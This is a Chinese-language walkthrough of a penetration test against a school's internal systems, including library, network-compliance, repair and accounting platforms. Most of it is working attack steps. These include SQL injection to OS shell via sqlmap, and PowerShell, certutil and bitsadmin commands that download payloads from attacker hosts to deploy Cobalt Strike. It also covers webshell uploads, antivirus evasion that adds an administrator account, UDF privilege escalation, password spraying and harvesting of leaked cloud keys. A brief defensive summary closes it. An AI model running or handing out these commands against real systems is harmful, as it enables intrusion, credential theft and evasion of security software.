实战 | 对自己学校内网的渗透测试
字数 1258 2025-08-19 12:40:52
学校内网渗透测试实战教学文档
一、图书馆管理系统渗透
1.1 SQL注入开启xp_cmdshell
发现过程:
- 通过目录扫描发现Web API Help接口文档泄露
- 测试发现szReaderID参数存在SQL注入漏洞(单引号报错,双引号正常)
利用方法:
sqlmap -u "目标URL" --os-shell
- 由于是SQL Server数据库,可直接使用
--os-shell参数开启xp_cmdshell进行命令执行
1.2 远程下载上线Cobalt Strike
常用远程下载命令:
certutil -urlcache -split -f http://127.0.0.1:8080/nc.txt c:\\nc.txt
bitsadmin /rawreturn /transfer getfile http://download.sysinternals.com/files/PSTools.zip c:\\Pstools.zip
powershell -nop -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://127.0.0.1/nc.txt','nc.exe')
cmd /c start /min msedge.exe http://127.0.0.1/test.zip && timeout 5 && taskkill /f /t /im msedge.exe && C:/Users/%UserName%/Downloads/test.zip
实际利用:
powershell -nop -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://xxx.xxx.xxx.xx:8000/360safe.exe','c:\\programdata\\360safe.exe')
1.3 网站根目录写Webshell
查找网站根目录:
Dir /s /b D:\\app.a1cccec9.js
- 发现JS目录:
D:\\disttsg\dist\js
绕过杀软技巧:
- 修改冰蝎Webshell的默认密码可绕过部分杀软检测
1.4 提权与密码收集
提权方法:
- 使用巨龙拉冬(Ladon)插件的"System2Admin"功能
- 伪造system权限反弹管理员权限会话
密码破解与横向移动:
- 使用cmd5.com破解哈希
- 使用超级弱口令爆破工具喷洒B段
- 使用xfreerdp远程连接:
xfreerdp /u:Administrator /p:Password123 /v:xxx.xxx.xxx.xxx /size:80%
敏感信息收集工具:
- searchall:收集敏感文件及浏览器缓存信息
https://github.com/Naturehi666/searchall
二、违规联网检测系统渗透
2.1 接口未授权访问
发现过程:
/api/v1/system/user接口泄露管理员密码/api/v1/toolAct/findAgg?orderBy=存在SQL注入且未授权
2.2 UDF提权
MySQL信息收集:
show variables like 'secure_file_priv';
show variables like '%version_%';
UDF提权命令:
sqlmap -d "mysql://root:密码@xxx.xxx.xxx.xxx:3306/mysql" --random-agent --os-shell
2.3 绕过火绒添加用户
绕过方法:
- 创建批处理脚本(1.bat):
copy c:\windows\system32\net1.exe d:\update.exe
d:\update.exe user newuser password123 /ad
net localgroup administrators newuser /ad
- 使用PowerShell下载并执行:
powershell -nop -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://xxx.xxx.xxx.xxx:8000/1.bat','d:\1.bat')
Elastic未授权访问利用:
- 使用ElasticHD进行可视化管理
https://github.com/qax-os/ElasticHD
三、网络报修登记系统渗透
3.1 SQL注入获取敏感数据
发现过程:
- 发现未授权访问的
/api/getPageData.php - Fuzz测试发现
filter参数存在注入
3.2 敏感信息泄露
发现内容:
- 阿里云accesskey和accessecret泄露
- 数据库密码泄露
OSS管理工具:
https://github.com/aliyun/oss-browser
四、会计实训系统渗透
4.1 .NET UEditor文件上传
利用方法:
- 准备冰蝎马并重命名为security.jpg
- 使用Hackbar发送POST请求:
source[]=http://xxx.xxx.xxx.xxx/security.jpg?.a?s?p?x
五、其他渗透成果
5.1 文件上传绕过
技巧:
- 禁用JS绕过前端验证
5.2 网络设备RCE
利用方法:
- 找到根目录后手工写Webshell
5.3 Shiro反序列化
利用方法:
- 使用Shiro反序列化工具一把梭
六、总结与防御建议
渗透测试发现的主要漏洞类型:
- SQL注入漏洞
- 未授权访问
- 文件上传漏洞
- 敏感信息泄露
- 默认/弱口令
- 杀软绕过技术
防御建议:
- 对所有输入参数进行严格过滤
- 限制数据库权限,禁用xp_cmdshell等危险功能
- 加强访问控制,避免未授权访问
- 定期更新杀毒软件规则
- 避免使用默认密码和弱口令
- 定期检查并删除敏感信息泄露
- 对文件上传功能进行严格限制
- 及时更新系统和应用补丁